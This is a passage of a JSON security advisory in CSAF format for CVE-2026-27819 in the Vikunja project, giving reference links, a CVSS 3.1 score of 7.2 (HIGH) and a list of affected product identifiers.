                    "url": "https://github.com/go-vikunja/vikunja/commit/1b3d8dc59cb5f2b759ab0ad2bc9915b993e3cb73"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab",
                    "url": "https://github.com/advisories/GHSA-42wg-38gx-85rh"
                },
                {
                    "category": "external",
                    "summary": "Reference - gitlab",
                    "url": "https://github.com/go-vikunja/vikunja"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 7.2,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5597060",
                        "CSAFPID-5602633",
                        "CSAFPID-5602634",
                        "CSAFPID-5602635",
                        "CSAFPID-5602636",
                        "CSAFPID-5602637",
                        "CSAFPID-5602638",
                        "CSAFPID-5602639",
                        "CSAFPID-5602640",
                        "CSAFPID-5602641",
                        "CSAFPID-5602642",
                        "CSAFPID-5602643",
                        "CSAFPID-5602644",
                        "CSAFPID-5602645",
                        "CSAFPID-5602646",
                        "CSAFPID-5602647",
                        "CSAFPID-5602648",
                        "CSAFPID-5602649",
                        "CSAFPID-5602650",
                        "CSAFPID-5602651",
                        "CSAFPID-5602652",
                        "CSAFPID-5602653",
                        "CSAFPID-5602654",
                        "CSAFPID-5602655",
                        "CSAFPID-5602656",
                        "CSAFPID-5602657",
                        "CSAFPID-5602658",
                        "CSAFPID-5602659",
                        "CSAFPID-5602660",
                        "CSAFPID-5602661",
                        "CSAFPID-5602662",
                        "CSAFPID-5602663",
                        "CSAFPID-5602664",
                        "CSAFPID-5602665",
                        "CSAFPID-5602666",
                        "CSAFPID-5602667",
                        "CSAFPID-5602668",
                        "CSAFPID-5602669",
                        "CSAFPID-5602670",
                        "CSAFPID-5602671",
                        "CSAFPID-5602672",
                        "CSAFPID-5602673",
                        "CSAFPID-5712844",
                        "CSAFPID-5727729",
                        "CSAFPID-5763289",
                        "CSAFPID-5847612"
                    ]
                }
            ],
            "title": "CVE-2026-27819"
        }
    ]
}